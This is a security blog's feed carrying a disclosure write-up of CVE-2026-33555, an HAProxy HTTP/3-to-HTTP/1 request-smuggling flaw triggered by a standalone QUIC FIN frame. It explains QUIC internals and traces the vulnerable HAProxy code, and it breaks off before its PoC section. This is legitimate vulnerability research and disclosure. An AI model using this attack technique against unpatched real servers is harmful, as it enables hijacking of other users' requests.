<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://r3verii.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://r3verii.github.io/" rel="alternate" type="text/html" /><updated>2026-04-18T07:28:01+00:00</updated><id>https://r3verii.github.io/feed.xml</id><title type="html">CyberSec Notes</title><subtitle>CTF write‑ups, CVEs and Bug Bounty findings</subtitle><author><name>Martino Spagnuolo</name></author><entry><title type="html">HAProxy HTTP/3 -&amp;gt; HTTP/1 Desync: Cross-Protocol Smuggling via a Standalone QUIC FIN (CVE-2026-33555)</title><link href="https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html" rel="alternate" type="text/html" title="HAProxy HTTP/3 -&amp;gt; HTTP/1 Desync: Cross-Protocol Smuggling via a Standalone QUIC FIN (CVE-2026-33555)" /><published>2026-04-14T00:14:54+00:00</published><updated>2026-04-14T00:14:54+00:00</updated><id>https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling</id><content type="html" xml:base="https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html"><![CDATA[<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/cover.png" alt="Cover" /></p>

<blockquote>
  <p><strong>TL;DR</strong> — A single QUIC STREAM frame with zero payload and the FIN bit set is enough to trick HAProxy into forwarding a <code class="language-plaintext highlighter-rouge">Content-Length: N</code> request with zero body bytes to the backend. The backend waits for N bytes that never come. The next user’s request on the same pooled TCP connection gets its first N bytes eaten as the missing body. Result: cross-user, cross-protocol HTTP request smuggling.</p>

  <p><strong><a href="https://www.cve.org/CVERecord?id=CVE-2026-33555">CVE-2026-33555</a></strong>. Affected: HAProxy 2.6 through 3.3.5 with <code class="language-plaintext highlighter-rouge">USE_QUIC=1</code>. Fixed in 3.3.6 / 3.2.15 / 3.0.19 / 2.8.20 / 2.6.25.</p>
</blockquote>

<hr />

<h2 id="table-of-contents">Table of contents</h2>

<ul>
  <li><a href="#0-what-this-post-is">0. What this post is</a></li>
  <li><a href="#1-context">1. Context</a></li>
  <li><a href="#2-the-networking-foundation">2. The networking foundation</a>
    <ul>
      <li><a href="#21-tcp-vs-udp-sockets-what-the-kernel-gives-you">2.1 TCP vs UDP sockets: what the kernel gives you</a></li>
      <li><a href="#22-http11-one-request-at-a-time-per-connection">2.2 HTTP/1.1: one request at a time, per connection</a></li>
      <li><a href="#23-http2-application-level-multiplexing">2.3 HTTP/2: application-level multiplexing</a></li>
      <li><a href="#24-the-residual-problem-transport-level-hol-blocking">2.4 The residual problem: transport-level HoL blocking</a></li>
      <li><a href="#25-http3--quic-streams-at-the-transport-layer">2.5 HTTP/3 / QUIC: streams at the transport layer</a></li>
      <li><a href="#26-why-quic-had-to-be-on-udp">2.6 Why QUIC had to be on UDP</a></li>
      <li><a href="#27-a-quic-packet-on-the-wire">2.7 A QUIC packet on the wire</a></li>
      <li><a href="#28-offset-the-tape-metaphor">2.8 Offset: the tape metaphor</a></li>
      <li><a href="#29-the-fin-bit-one-bit-wrong-layer">2.9 The FIN bit: one bit, wrong layer</a></li>
    </ul>
  </li>
  <li><a href="#3-the-bug">3. The bug</a>
    <ul>
      <li><a href="#31-from-wire-to-h3_rcv_buf">3.1 From wire to h3_rcv_buf</a></li>
      <li><a href="#32-two-layers-two-notions-of-done">3.2 Two layers, two notions of “done”</a></li>
      <li><a href="#33-the-htx-trust-boundary">3.3 The HTX trust boundary</a></li>
      <li><a href="#34-where-haproxy-validates-body-size">3.4 Where HAProxy validates body size</a></li>
      <li><a href="#35-the-fast-path-that-skips-it">3.5 The fast-path that skips it</a></li>
      <li><a href="#36-when-does-the-fast-path-trigger-back-to-the-protocol">3.6 When does the fast-path trigger? Back to the protocol</a></li>
    </ul>
  </li>
  <li><a href="#4-the-exploit">4. The exploit</a>
    <ul>
      <li><a href="#41-the-connection-pool-problem">4.1 The connection pool problem</a></li>
      <li><a href="#42-the-poc">4.2 The PoC</a></li>
      <li><a href="#43-arbitrary-request-injection">4.3 Arbitrary request injection</a></li>
      <li><a href="#44-configuration-required">4.4 Configuration required</a></li>
    </ul>
  </li>
  <li><a href="#5-on-the-cvss-score">5. On the CVSS score</a></li>
  <li><a href="#6-the-fix">6. The fix</a></li>
  <li><a href="#7-disclosure-timeline">7. Disclosure timeline</a></li>
  <li><a href="#8-takeaways">8. Takeaways</a></li>
  <li><a href="#appendix-artifacts">Appendix: artifacts</a></li>
</ul>

<hr />

<h2 id="0-what-this-post-is">0. What this post is</h2>

<p>This is the writeup of a vulnerability I found in HAProxy and reported through coordinated disclosure. The HAProxy team confirmed the issue and it was assigned <a href="https://www.cve.org/CVERecord?id=CVE-2026-33555">CVE-2026-33555</a>.</p>

<p>Most HTTP smuggling writeups jump straight to the exploit. This one starts from the ground up: what QUIC packets actually look like, how HAProxy processes them layer by layer, and why a single missing validation check in one fast-path creates a cross-user request smuggling primitive. If you’ve never looked at QUIC internals before, you should still be able to follow.</p>

<p>If you just want the PoC: <a href="#4-the-exploit">jump to section 4</a>.</p>

<hr />

<h2 id="1-context">1. Context</h2>

<p>I’ve been spending time this year on HTTP/2 and HTTP/3 attack surface in reverse proxies — specifically how protocol translation boundaries (H3→H1, H2→H1) can introduce semantic mismatches that neither side catches. HAProxy 3.x with <code class="language-plaintext highlighter-rouge">USE_QUIC=1</code> was a natural target: a relatively young, hand-rolled H3 implementation bridging QUIC stream semantics to HTTP/1.1 wire format. Two fundamentally different framing models, stitched together.</p>

<p>The research was done almost entirely with Claude Code (Opus 4.6), which turned out to be remarkably effective at navigating a C codebase of this size (~8000 lines across the relevant mux files). I don’t know C deeply, and I certainly couldn’t hold the full architecture of HAProxy in my head. But I could ask precise questions about code paths, and Claude Code would trace them through function calls, line by line, and explain what each piece did. The vulnerability was found this way: not by fuzzing, but by reading the source and asking “does this validation always run?”</p>

<p>The rest of this post is structured so that you can follow the whole thing with <strong>zero prior knowledge of QUIC</strong>. If you already know QUIC internals, section 2 will be review. If you don’t, it’s the foundation you need — the bug only makes sense once you understand why QUIC’s FIN bit lives at a completely different layer than HTTP/2’s END_STREAM flag, and why that layering choice gives an attacker packet-level control that HTTP/2 simply doesn’t expose.</p>

<hr />

<h2 id="2-the-networking-foundation">2. The networking foundation</h2>

<blockquote>
  <p><strong>Please note that what you are about to read is my understanding of the QUIC protocol</strong>, based on my reading of RFCs and other documents. I may have misinterpreted some of the theory, so please let me know if you notice any errors. The world of network protocols is vast, and I certainly know less than 1% of it. Furthermore, QUIC is a new protocol that is conceptually different from others and also very complex. I hope that someone will find these concepts useful for either deepening their understanding or coming up with new ideas ❤❤</p>
</blockquote>

<p>Before we can look at the bug, we need to understand three things:</p>

<ol>
  <li>How TCP and UDP sockets differ at the kernel level — this is the substrate QUIC runs on.</li>
  <li>How HTTP evolved from 1.1 to 2 to 3, and what problem each version actually solved.</li>
  <li>What a QUIC packet looks like on the wire, and where the FIN bit lives.</li>
</ol>

<figure style="margin:1.5rem auto;text-align:center">
  <img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/http-evolution-bytebytego.png" alt="HTTP/1 → HTTP/1.1 (persistent connection) → HTTP/2 (streams over one TCP connection) → HTTP/3 on QUIC (streams over UDP)" style="max-width:100%;height:auto" loading="lazy" />
  <figcaption style="font-size:0.85em;opacity:0.75;margin-top:0.5rem">The four stages of HTTP evolution at a glance: from new-connection-per-request, to persistent connections, to H2 application-level streams over one TCP connection, to H3 streams riding directly on QUIC over UDP. Image credit: <a href="https://bytebytego.com/" target="_blank" rel="noopener">ByteByteGo</a>.</figcaption>
</figure>

<h3 id="21-tcp-vs-udp-sockets-what-the-kernel-gives-you">2.1 TCP vs UDP sockets: what the kernel gives you</h3>

<p>A socket is a kernel object you access through a file descriptor. But <strong>what the kernel maintains behind that FD is fundamentally different</strong> for TCP and UDP.</p>

<p>With TCP, each client connection gets its own FD on the server — the kernel maintains per-connection state (sequence numbers, buffers, congestion control). With UDP, <strong>one FD is shared across all clients</strong>; the application has to demultiplex incoming datagrams itself.</p>

<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/tcp-vs-udp-sockets.svg" alt="TCP gives each client its own FD; UDP shares one FD across all clients." /></p>

<p><strong>TCP: the socket is a connection.</strong> A <code class="language-plaintext highlighter-rouge">struct sock</code> (and its TCP-specific extension <code class="language-plaintext highlighter-rouge">struct tcp_sock</code>) is allocated by the kernel at <code class="language-plaintext highlighter-rouge">socket()</code> time, but it only becomes a fully-formed connection — bound to a <strong>4-tuple</strong> <code class="language-plaintext highlighter-rouge">(src_ip, src_port, dst_ip, dst_port)</code> — after <code class="language-plaintext highlighter-rouge">connect()</code> (client) or <code class="language-plaintext highlighter-rouge">accept()</code> (server) completes the 3-way handshake. From that point on the kernel tracks, per socket: a receive buffer holding the in-order, deduplicated bytes; a send buffer with pending writes; sequence numbers, window, RTT estimate, congestion control state, timers. When you call <code class="language-plaintext highlighter-rouge">read(fd, buf, 1024)</code>, the kernel hands you bytes from the byte stream. If the sender sent 500 bytes and another 500, you might receive all 1000 in one <code class="language-plaintext highlighter-rouge">read()</code>, or 500+500, or 327+173+500. <strong>TCP has no notion of “message.”</strong> It’s a byte stream, and the sender’s <code class="language-plaintext highlighter-rouge">send()</code> boundaries are gone.</p>

<p><strong>UDP: the socket is a local endpoint.</strong> <code class="language-plaintext highlighter-rouge">bind(fd, 0.0.0.0:443, ...)</code> ties the socket to a <strong>2-tuple</strong> <code class="language-plaintext highlighter-rouge">(local_ip, local_port)</code>. No 4-tuple, because there is no connection. That socket receives datagrams from anyone sending to port 443. The kernel tracks a queue of received datagrams — each carries its source address. <strong>No inter-datagram ordering, no dedup, no retransmission, no congestion control.</strong> Each <code class="language-plaintext highlighter-rouge">recvmsg(fd, &amp;msg, 0)</code> returns <strong>exactly one datagram</strong>, intact, with its source address. <strong>UDP preserves message boundaries.</strong> If the sender does a single <code class="language-plaintext highlighter-rouge">sendto()</code>, you get it whole (or you lose it whole).</p>

<p><strong>What this means for HAProxy.</strong> A TCP listener does the familiar dance: <code class="language-plaintext highlighter-rouge">listen()</code> + <code class="language-plaintext highlighter-rouge">accept()</code>. Each client gets its own FD. The poller notifies “this specific FD has data” → you know exactly which connection to process. A QUIC listener can’t do that. There is no <code class="language-plaintext highlighter-rouge">accept()</code> for UDP. HAProxy binds <strong>one UDP socket</strong>, and the poller just says “this FD has data” — but the data could belong to any of thousands of QUIC clients sharing that socket. Application code has to demultiplex.</p>

<p>That’s why <code class="language-plaintext highlighter-rouge">quic_lstnr_sock_fd_iocb</code> in <code class="language-plaintext highlighter-rouge">src/quic_sock.c:469</code> loops:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">max_dgrams</span> <span class="o">=</span> <span class="n">global</span><span class="p">.</span><span class="n">tune</span><span class="p">.</span><span class="n">maxpollevents</span><span class="p">;</span>
<span class="n">start</span><span class="o">:</span>
    <span class="n">ret</span> <span class="o">=</span> <span class="n">quic_recv</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">dgram_buf</span><span class="p">,</span> <span class="n">max_sz</span><span class="p">,</span> <span class="p">...);</span>   <span class="c1">// one recvmsg → one datagram</span>
    <span class="c1">// ... dispatch ...</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">--</span><span class="n">max_dgrams</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
        <span class="k">goto</span> <span class="n">start</span><span class="p">;</span>
</code></pre></div></div>

<p>When the kernel wakes HAProxy saying “data available,” there might be 200 datagrams from 200 clients queued on that one socket. One <code class="language-plaintext highlighter-rouge">recvmsg()</code> pulls one of them. The <code class="language-plaintext highlighter-rouge">goto start</code> drains the queue up to <code class="language-plaintext highlighter-rouge">maxpollevents</code> to avoid thrashing the poller.</p>

<p>QUIC’s <strong>Connection ID</strong> (DCID — Destination Connection ID) is what lets HAProxy figure out which connection a datagram belongs to. It lives in the header of every QUIC packet, and it’s what <code class="language-plaintext highlighter-rouge">quic_lstnr_dgram_dispatch</code> (<code class="language-plaintext highlighter-rouge">src/quic_sock.c:267</code>) extracts to look up the matching <code class="language-plaintext highlighter-rouge">struct quic_conn</code> in a tree. <strong>This software-level demultiplexing is what TCP gets for free from the kernel’s 4-tuple hashing</strong>, and what UDP forces you to do yourself.</p>

<h3 id="22-http11-one-request-at-a-time-per-connection">2.2 HTTP/1.1: one request at a time, per connection</h3>

<p>HTTP/1.1 over a single TCP connection processes <strong>one request at a time</strong>. Want parallelism? Open more TCP connections:</p>

<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/http1-parallel-connections.svg" alt="HTTP/1.1: browser opens 6 parallel TCP connections; remaining resources wait." /></p>

<p>Problems:</p>

<ol>
  <li><strong>6 TCP handshakes + 6 TLS handshakes</strong> = latency multiplied.</li>
  <li><strong>6 separate congestion controls</strong> = each starts slow, none share information.</li>
  <li><strong>Request N+7</strong> waits for a connection to free up.</li>
  <li><strong>Workarounds</strong>: pipelining (rarely used — proxies were buggy), domain sharding (<code class="language-plaintext highlighter-rouge">cdn1.</code>, <code class="language-plaintext highlighter-rouge">cdn2.</code>, <code class="language-plaintext highlighter-rouge">cdn3.</code> to sidestep the 6-connection limit).</li>
</ol>

<p>This is <strong>application-level head-of-line blocking</strong>: request 7 waits because the HTTP/1 parser handles one at a time per connection.</p>

<h3 id="23-http2-application-level-multiplexing">2.3 HTTP/2: application-level multiplexing</h3>

<p>HTTP/2 introduces <strong>streams</strong> — numbered channels (1, 3, 5, 7… for client-initiated) that coexist on <strong>a single TCP connection</strong>. Everything you send is a binary frame with a 9-byte header that carries, among other things, a <strong>Stream ID</strong>:</p>

<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/http2-frame-layout.svg" alt="HTTP/2 frame layout: 9-byte header with Length, Type, Flags, and Stream ID, followed by variable payload." /></p>

<p>The server demuxes frames by Stream ID. You can have 100 requests in flight on one TCP connection. Wins vs. HTTP/1.1:</p>

<ul>
  <li>One TCP + TLS handshake.</li>
  <li>One congestion control seeing everything.</li>
  <li>Requests don’t block each other at the <strong>HTTP</strong> layer.</li>
</ul>

<h3 id="24-the-residual-problem-transport-level-hol-blocking">2.4 The residual problem: transport-level HoL blocking</h3>

<p>HTTP/2 streams are an <strong>application-level fiction</strong>. They exist only inside the HTTP/2 parser. Underneath, there’s still a <strong>single TCP byte stream</strong>. TCP guarantees order and completeness on the whole byte stream, because it doesn’t even know streams exist.</p>

<p>Consequence: if a <strong>TCP segment is lost</strong>, the receiver’s kernel has a gap in the buffer and <strong>blocks delivery of ALL bytes after the gap</strong> until the segment is retransmitted — even if those bytes belong to streams unrelated to the one that lost data.</p>

<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/tcp-vs-quic-hol.svg" alt="TCP vs QUIC behavior on packet loss. TCP blocks all streams; QUIC blocks only the affected one." /></p>

<p>Streams 2 and 3 on the TCP side are fine — their bytes arrived — but trapped behind stream 1’s gap because TCP serves everything in order. This is <strong>transport-level head-of-line blocking</strong>, and TCP cannot fix it: there’s no way to tell the kernel “skip the gap for stream 2.”</p>

<h3 id="25-http3--quic-streams-at-the-transport-layer">2.5 HTTP/3 / QUIC: streams at the transport layer</h3>

<p>QUIC breaks the “transport = one byte stream” assumption. QUIC <strong>implements streams inside the transport itself</strong>. A QUIC packet carries one or more <strong>frames</strong> (STREAM, ACK, PADDING, …). A single packet can carry data for different streams — but unlike TCP, each STREAM frame explicitly declares its stream ID and offset.</p>

<p>When a packet is lost, QUIC detects it via ACKs and handles the gap per-stream. QUIC maintains a <strong>separate receive buffer per stream</strong>, and that architectural decision is what eliminates cross-stream HoL blocking (as the right panel above shows).</p>

<p>A caveat worth knowing: QUIC eliminates HoL blocking <strong>between different streams</strong>, but <strong>not within the same stream</strong>. If stream 0 is missing the bytes at offset 0 but has received bytes at offset 500, stream 0 cannot deliver anything to the application — the application wants bytes in order from 0. The per-stream buffer in HAProxy is in fact a <strong>non-contiguous buffer</strong> (ncb) that accepts out-of-order writes and delivers the contiguous prefix when the gap fills. We’ll see this in section 3.5.</p>

<h3 id="26-why-quic-had-to-be-on-udp">2.6 Why QUIC had to be on UDP</h3>

<p>“Can’t we just add streams to TCP?” Engineers have been trying, on and off, for two decades. The attempts all teach the same lesson: two forces calcify TCP, and QUIC was designed to sidestep both.</p>

<p><strong>Middlebox ossification.</strong> Between any client and any server sits an uncountable pile of firewalls, NATs, load balancers, DPI appliances, and transparent proxies. Each one inspects TCP against rules frozen at deployment time — sometimes decades ago. The moment you add a new TCP option or touch the header, some fraction of paths silently drop or mangle your packets. This was measured definitively by Honda, Nishida, Raiciu, Greenhalgh, Handley, and Tokuda in <a href="https://conferences.sigcomm.org/imc/2011/docs/p181.pdf"><em>“Is it still possible to extend TCP?”</em></a> (IMC 2011): unknown TCP options don’t reliably survive end-to-end, and more invasive changes fare much worse. Google’s own <a href="https://conferences.sigcomm.org/co-next/2011/papers/1569470675.pdf"><strong>TCP Fast Open</strong></a> (Radhakrishnan, Cheng, Chu, Jain, Raghavan, CoNEXT 2011) and the IETF’s <a href="https://datatracker.ietf.org/doc/html/rfc8684"><strong>Multipath TCP</strong></a> (RFC 8684; shipped by Apple for Siri in iOS 7) eventually reached production, but only after years of defensive engineering around middlebox breakage — and both still hit deployment walls in hostile networks. <a href="https://datatracker.ietf.org/doc/html/rfc4960"><strong>SCTP</strong></a>, an older streams-on-transport protocol from the telecom world, is beautiful on paper and essentially unroutable on the public internet for the same reason.</p>

<p><strong>Kernel deployment velocity.</strong> TCP lives in the operating system kernel. Changing it means shipping updates to Linux, Windows, macOS, iOS, Android, BSD — and then waiting for operators to upgrade <strong>both endpoints</strong> of every connection. Windows XP was still meaningful traffic a decade after release; enterprise Linux fleets update on multi-year cycles. You cannot iterate a transport protocol at that speed.</p>

<p><strong>QUIC’s escape hatch.</strong> <a href="https://docs.google.com/document/d/1RNHkx_VvKWyWg6Lr8SZ-saqsQx7rFV-ev2jRFUoVD34/preview">Jim Roskind</a>’s original 2012 Google design memo — later published as <a href="https://dl.acm.org/doi/10.1145/3098822.3098842"><em>“The QUIC Transport Protocol: Design and Internet-Scale Deployment”</em></a> (Langley, Riddoch, Wilk, Vicente, Krasic, Zhang, Yang, Kouranov, Swett, Iyengar et al., SIGCOMM 2017) — made three choices that directly target these walls:</p>

<ol>
  <li><strong>Ride UDP.</strong> Middleboxes let UDP through largely unexamined — too much critical infrastructure (DNS, video, games, VPNs) depends on it. A QUIC datagram looks, to an inspecting firewall, like any other opaque UDP payload.</li>
  <li><strong>Put everything in user space.</strong> The QUIC state machine, stream multiplexing, loss recovery, congestion control — all of it is application code. A protocol update ships with a browser or server release, not a kernel release. Google could iterate QUIC inside Chrome and its frontends at a pace kernel-bound protocols can only dream of.</li>
  <li><strong>Encrypt the transport header.</strong> QUIC integrates TLS 1.3 not as a layer on top but as part of the transport itself: packet numbers and nearly all frame data are authenticated-encrypted. This is not only for confidentiality — it is a deliberate defense against future ossification. If middleboxes cannot see into QUIC, they cannot build rules that depend on its format, and QUIC stays evolvable. <a href="https://datatracker.ietf.org/doc/html/rfc9170"><strong>RFC 9170</strong></a> (2021) later formalized this principle as IETF design guidance for future protocols.</li>
</ol>

<p>QUIC is not “a better TCP.” It is a Trojan horse: a transport hidden inside UDP, deployed from user space, encrypted so the ecosystem cannot calcify it a second time. For an attacker, the relevant consequence is that QUIC shipped in production at scale within a handful of years — and HAProxy’s QUIC stack is only a few years old, hand-rolled C code bridging a protocol that browsers and servers are still actively iterating on. New attack surface by construction.</p>

<h3 id="27-a-quic-packet-on-the-wire">2.7 A QUIC packet on the wire</h3>

<p>Let’s make this concrete. Here’s a single UDP datagram carrying a QUIC packet with two STREAM frames for two different HTTP requests:</p>

<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/quic-packet-structure.svg" alt="QUIC packet structure: header plus multiple frames for different streams." /></p>

<h3 id="28-offset-the-tape-metaphor">2.8 Offset: the tape metaphor</h3>

<p>Think of each QUIC stream as a <strong>tape</strong> — a long roll where you write bytes left to right.</p>

<p><strong>Offset</strong> = “where on the tape these bytes start”
<strong>Length</strong> = “how many bytes I’m writing”</p>

<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/quic-stream-tape.svg" alt="Stream tape metaphor: a STREAM frame with offset 0 and length 500 placed on the tape." /></p>

<p>The offset is QUIC’s equivalent of TCP’s sequence numbers — but it lives explicitly in each STREAM frame instead of hidden in the kernel. That’s what lets QUIC handle out-of-order delivery: if a frame with offset 500 arrives before the one with offset 0, QUIC knows there’s a gap and can wait for the missing piece without blocking other streams.</p>

<h3 id="29-the-fin-bit-one-bit-wrong-layer">2.9 The FIN bit: one bit, wrong layer</h3>

<p>Each STREAM frame has a <strong>FIN</strong> bit. When set, it means: “this stream is done. No more data will ever be sent on this stream.”</p>

<p>FIN is not a separate frame or field — it’s a single bit inside the <strong>first byte</strong> of the STREAM frame, the byte that identifies the frame type. To see how this works, let’s zoom in on the frame’s anatomy.</p>

<p>The STREAM frame structure (<a href="https://datatracker.ietf.org/doc/html/rfc9000#section-19.8">RFC 9000 §19.8</a>) is a Type byte followed by Stream ID, optional Offset, optional Length, and the application data. The diagram below shows the field layout on top and what’s inside the Type byte underneath:</p>

<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/quic-stream-frame-anatomy.svg" alt="STREAM frame structure: top row shows the field layout, bottom row zooms into the Type byte to reveal the OFF/LEN/FIN flag bits." /></p>

<p>The combination that matters for the bug is the last line: a Type byte of <code class="language-plaintext highlighter-rouge">0x0d</code> means an Offset is present, no Length is present, and the stream is finished. Because LEN is 0, the Stream Data runs to the end of the packet — which can be (and for this attack, is) <strong>zero bytes</strong>.</p>

<p>Here’s what such a frame looks like on the wire:</p>

<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/quic-standalone-fin-wire.svg" alt="FIN-only STREAM frame on the wire: 3 fields totaling about 4 bytes, with zero application payload." /></p>

<p>Those ~4 bytes are all <strong>QUIC framing overhead</strong>. The application payload — what the H3 parser actually sees — is <strong>zero bytes</strong>. This is the heart of the bug.</p>

<p>Contrast with HTTP/2. There, ending a stream requires the <code class="language-plaintext highlighter-rouge">END_STREAM</code> flag on a DATA or HEADERS frame. Even an “empty DATA frame with END_STREAM” carries <strong>9 bytes of H/2 header</strong> on the wire, and those 9 bytes are <strong>application payload</strong> from the TCP layer’s perspective — TCP doesn’t know H/2 streams exist. There is no such thing as “close the stream at the transport without sending application bytes” in HTTP/2. The concept doesn’t exist because the transport doesn’t know streams exist.</p>

<p><strong>In HTTP/3, the FIN lives at the transport layer</strong> (QUIC), not at the application layer (H3). An attacker with a QUIC library can craft a raw STREAM frame with <code class="language-plaintext highlighter-rouge">len=0, FIN=1</code> that carries zero bytes to the H3 parser. This is something HTTP/2’s design makes impossible.</p>

<hr />

<h2 id="3-the-bug">3. The bug</h2>

<blockquote>
  <p>Please note that the source code analysis was performed using Claude Code Opus 4.6, manually verified through local lab tests, and later confirmed by the vendor.</p>
</blockquote>

<h3 id="31-from-wire-to-h3_rcv_buf">3.1 From wire to h3_rcv_buf</h3>

<p>Before we look at the bug, we need a mental model of the HAProxy data path. When a UDP datagram arrives, it travels through this pipeline:</p>

<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/haproxy-quic-pipeline.svg" alt="Pipeline: UDP socket buffer to h3_rcv_buf, with batching stages annotated." /></p>

<p>The full source-level walkthrough — DCID lookup against a per-thread tree, header-protection removal, EB-tree queueing by packet number, AEAD decryption, frame parsing, per-stream non-contiguous buffer (ncb) inserts — is interesting but not strictly necessary for understanding the bug. Three properties of this pipeline are:</p>

<ol>
  <li>
    <p><strong>The FIN bit travels as stream state, not as a per-call argument.</strong> When a STREAM frame with FIN arrives, <code class="language-plaintext highlighter-rouge">qcc_recv</code> (<code class="language-plaintext highlighter-rouge">src/mux_quic.c:1805</code>) sets <code class="language-plaintext highlighter-rouge">qcs-&gt;flags |= QC_SF_SIZE_KNOWN</code> and transitions the stream state via <code class="language-plaintext highlighter-rouge">qcs_close_remote()</code>. From that point on, anything reading the stream sees <code class="language-plaintext highlighter-rouge">qcs_is_close_remote() == true</code>. The <code class="language-plaintext highlighter-rouge">fin</code> argument the H3 parser later receives is derived from this stream state — <em>not</em> from “this specific call corresponds to a frame that had FIN set.”</p>
  </li>
  <li>
    <p><strong><code class="language-plaintext highlighter-rouge">h3_rcv_buf()</code> is called once per STREAM frame</strong>, synchronously, inside <code class="language-plaintext highlighter-rouge">qcc_recv</code>’s dispatch loop (<code class="language-plaintext highlighter-rouge">qcc_decode_qcs</code>, <code class="language-plaintext highlighter-rouge">src/mux_quic.c:1326</code>). Whether two STREAM frames arrive coalesced in the same UDP datagram, in back-to-back datagrams, or 300 ms apart, each one produces its own call with its own <code class="language-plaintext highlighter-rouge">(b, fin)</code> snapshot. The batching at every earlier stage is transparent to H3. <strong>Timing is irrelevant; only the shape of the STREAM frames matters.</strong></p>
  </li>
  <li>
    <p><strong>The <code class="language-plaintext highlighter-rouge">b</code> buffer passed to <code class="language-plaintext highlighter-rouge">h3_rcv_buf</code> is an alias over the per-stream ncb, not a copy.</strong> <code class="language-plaintext highlighter-rouge">b.data</code> reflects the count of contiguous bytes currently readable — zero if nothing arrived, zero if a previous call already consumed everything, zero if no rxbuf was ever allocated (e.g. a standalone-FIN at offset 0 produces <code class="language-plaintext highlighter-rouge">BUF_NULL</code>).</p>
  </li>
</ol>

<p>Together these three properties mean: by the time <code class="language-plaintext highlighter-rouge">h3_rcv_buf</code> runs, it cannot distinguish whether <code class="language-plaintext highlighter-rouge">(b = empty, fin = 1)</code> was caused by “FIN just arrived in this call,” “FIN arrived earlier and the data was consumed,” or “FIN arrived first with no data ever sent.” It only sees the conjunction. The bug lives in this ambiguity.</p>

<h3 id="32-two-layers-two-notions-of-done">3.2 Two layers, two notions of “done”</h3>

<p>At the <strong>QUIC layer</strong>, a stream FIN means “no more bytes on this stream, ever.”</p>

<p>At the <strong>H3 layer</strong>, end of message means “all H3 frames have been parsed, and the body length matches <code class="language-plaintext highlighter-rouge">Content-Length</code>.”</p>

<p>These events <em>usually</em> coincide. But they don’t <em>have to</em>. A QUIC peer can close a stream with FIN after sending headers but before sending the body. At the QUIC layer, that’s perfectly valid — “I’m done sending.” At the H3 layer, that’s invalid — “you declared <code class="language-plaintext highlighter-rouge">Content-Length: 5</code> but sent 0 body bytes.”</p>

<p>The job of <code class="language-plaintext highlighter-rouge">h3.c</code> is to enforce H3 semantics on top of QUIC transport. It has code to do exactly this. One path skips it.</p>

<h3 id="33-the-htx-trust-boundary">3.3 The HTX trust boundary</h3>

<p>Before the bug itself, one more piece. Once the H3 layer has parsed a complete request, it emits an <strong>HTX message</strong> — HAProxy’s protocol-agnostic internal representation. The key flag is <code class="language-plaintext highlighter-rouge">HTX_FL_EOM</code> (End Of Message): when set, it tells every downstream consumer “this message is complete.”</p>

<p>The backend H1 mux (<code class="language-plaintext highlighter-rouge">src/mux_h1.c</code>) receives HTX and serializes it to HTTP/1.1 on a TCP socket toward the origin. The H1 mux transitions through several states (<code class="language-plaintext highlighter-rouge">H1_MSG_HDR_FIRST</code>, <code class="language-plaintext highlighter-rouge">H1_MSG_DATA</code>, <code class="language-plaintext highlighter-rouge">H1_MSG_DONE</code>, …); the transition to <code class="language-plaintext highlighter-rouge">H1_MSG_DONE</code> happens at multiple points in the encoder, but the relevant one for our scenario is in the body-emission path (<code class="language-plaintext highlighter-rouge">mux_h1.c:2987-2999</code>):</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">htx_is_unique_blk</span><span class="p">(</span><span class="n">htx</span><span class="p">,</span> <span class="n">blk</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
         <span class="p">((</span><span class="n">htx</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">HTX_FL_EOM</span><span class="p">)</span> <span class="o">||</span> <span class="p">((</span><span class="n">h1m</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">H1_MF_CLEN</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">h1m</span><span class="o">-&gt;</span><span class="n">curr_len</span><span class="p">)))</span> <span class="p">{</span>
    <span class="cm">/* EOM flag is set and it is the last block or there is no payload. */</span>
    <span class="p">...</span>
    <span class="n">h1m</span><span class="o">-&gt;</span><span class="n">state</span> <span class="o">=</span> <span class="p">((</span><span class="n">htx</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">HTX_FL_EOM</span><span class="p">)</span> <span class="o">?</span> <span class="n">H1_MSG_DONE</span> <span class="o">:</span> <span class="n">H1_MSG_TRAILERS</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

